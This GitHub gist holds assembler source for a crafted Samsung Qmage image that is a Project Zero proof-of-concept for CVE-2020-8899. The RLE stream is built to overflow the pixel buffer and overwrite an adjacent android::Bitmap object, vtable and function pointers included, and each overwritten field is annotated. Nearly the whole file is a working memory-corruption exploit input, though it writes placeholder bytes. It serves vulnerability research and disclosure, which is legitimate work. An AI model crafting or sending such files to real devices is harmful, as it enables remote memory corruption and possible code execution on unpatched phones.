Skip to content

Instantly share code, notes, and snippets.

@j00ru
Created July 23, 2020 09:13
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save j00ru/840ffb19d8db107ad58ff60013e7bf40 to your computer and use it in GitHub Desktop.
Save j00ru/840ffb19d8db107ad58ff60013e7bf40 to your computer and use it in GitHub Desktop.
Samsung Qmage codec exploit proof-of-concept for experimenting with linear memory corruption of the android::Bitmap object
;
; Samsung Qmage codec exploit proof-of-concept for experimenting with linear
; memory corruption of the android::Bitmap object.
;
; Author: Mateusz Jurczyk, Google Project Zero
; Date: July 2020
; Bug: CVE-2020-8899 (crash e418c0496cb1babf0eba13026f4d1504)
; Fixed: Samsung May 2020 Security Bulletin (SVE-2020-16747)
;
_QMG_HEADER:
db 'QG' ; Signature
db 0x01, 0x02, 0x01 ; Version 1.2.1 (equivalent to 2.0)
db 0x30 ; Flags: PREMULTIPLIED | INDEXED_COLOR
db 0x64 ; Quality: 100 (best)
dw 0x0004 ; Width: 4
dw 0x000A ; Height: 10
db 0x00 ; Extra header length: 0
_COLOR_TABLE_HEADER:
db 0xFF ; Number of colors: 255 (256 expected by the codec)
dw 0x0011 ; Length of the compressed color table: 17
_COMPRESSED_COLOR_TABLE:
; Zlib compressed stream of 1024 'A's, which makes up the color table
; consisting of 256 32-bpp entries.
db 0x78, 0x9c, 0x73, 0x74, 0x1c, 0x05, 0xa3, 0x60, 0x14, 0x8c, 0x54, 0x00
db 0x00, 0xa4, 0x78, 0x04, 0x10
_DATA_STREAM_START:
; Required marker bytes.
db 0xFF, 0x00
; Compression type: Run Length Encoding
db 0x06
_RLE_STREAM_START:
; Length of the overall RLE stream in bytes (excluding this DWORD).
dd (_RLE_STREAM_END - _RLE_STREAM_START - 4)
; Number of different, subsequent bytes written to the output buffer during
; decompression, which is somewhere between 160 and 320 in our case, depending
; on how many bytes of the adjacent object we wish to overwrite.
dd (_RLE_DATA_END - _RLE_DATA_START)
_RLE_DATA_START:
; Padding for the legitimate pixel storage buffer.
times 160 db 0xcc
; ============================================================================
; Start of the overwritten android::Bitmap object
; ============================================================================
; class ANDROID_API Bitmap : public SkPixelRef {
dq 0x4141414141414141 ; /* +0x00 */ void *vtable;
; class SK_API SkRefCntBase {
dd 0x41414141 ; /* +0x08 */ mutable std::atomic<int32_t> fRefCnt;
; }
; class SK_API SkPixelRef : public SkRefCnt {
dd 0x41414141 ; /* +0x0C */ int fWidth;
dd 0x41414141 ; /* +0x10 */ int fHeight;
dd 0x41414141 ; /* +0x14 */ <padding>
dq 0x4141414141414141 ; /* +0x18 */ void* fPixels;
dq 0x4141414141414141 ; /* +0x20 */ size_t fRowBytes;
dd 0x41414141 ; /* +0x28 */ mutable std::atomic<uint32_t> fTaggedGenID;
dd 0x41414141 ; /* +0x2c */ <padding>
; SkIDChangeListener::List fGenIDChangeListeners {
; SkMutex fMutex {
dd 0x41414141 ; /* +0x30 */ std::atomic<int> fCount;
db 0x41 ; /* +0x34 */ SkOnce fOSSemaphoreOnce;
times 3 db 0x41 ; /* +0x35 */ <padding>
dq 0x4141414141414141 ; /* +0x38 */ OSSemaphore* fOSSemaphore;
; }
; SkTDArray<SkIDChangeListener*> fListeners {
dq 0x4141414141414141 ; /* +0x40 */ SkIDChangeListener* fArray;
dd 0x41414141 ; /* +0x48 */ int fReserve;
dd 0x41414141 ; /* +0x4C */ int fCount;
; }
; }
db 0x41 ; /* +0x50 */ std::atomic<bool> fAddedToCache;
db 0x41 ; /* +0x51 */ enum Mutability {
; /* +0x51 */ kMutable,
; /* +0x51 */ kTemporarilyImmutable,
; /* +0x51 */ kImmutable,
; /* +0x51 */ } fMutability : 8;
times 6 db 0x41 ; /* +0x52 */ <padding>
; SkImageInfo mInfo {
dq 0x4141414141414141 ; /* +0x58 */ sk_sp<SkColorSpace> fColorSpace;
dd 0x41414141 ; /* +0x60 */ int fWidth;
dd 0x41414141 ; /* +0x64 */ int fHeight;
dd 0x41414141 ; /* +0x68 */ SkColorType fColorType;
dd 0x41414141 ; /* +0x6C */ SkAlphaType fAlphaType;
; }
dd 0x41414141 ; /* +0x70 */ const PixelStorageType mPixelStorageType;
dd 0x41414141 ; /* +0x74 */ BitmapPalette mPalette;
dd 0x41414141 ; /* +0x78 */ uint32_t mPaletteGenerationId;
db 0x41 ; /* +0x7C */ bool mHasHardwareMipMap;
times 3 db 0x41 ; /* +0x7D */ <padding>
; union {
; struct {
dq 0x4141414141414141 ; /* +0x80 */ void* address;
dq 0x4141414141414141 ; /* +0x88 */ void* context;
dq 0x4141414141414141 ; /* +0x90 */ FreeFunc freeFunc;
; } external;
; struct {
; /* +0x80 */ void* address;
; /* +0x88 */ int fd;
; /* +0x90 */ size_t size;
; } ashmem;
; struct {
; /* +0x80 */ void* address;
; /* +0x88 */ size_t size;
; } heap;
; struct {
; /* +0x80 */ GraphicBuffer* buffer;
; } hardware;
; } mPixelStorage;
dq 0x4141414141414141 ; /* +0x98 */ sk_sp<SkImage> mImage;
;}
_RLE_DATA_END:
_RLE_LENGTHS_START:
; An encoded 0xAA byte denotes four single-byte runs in the stream.
times ((_RLE_DATA_END - _RLE_DATA_START) / 4) db 0xAA
_RLE_LENGTHS_END:
_RLE_STREAM_END:
; Trailing marker found in valid QG files.
db 0xFF, 0x00
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment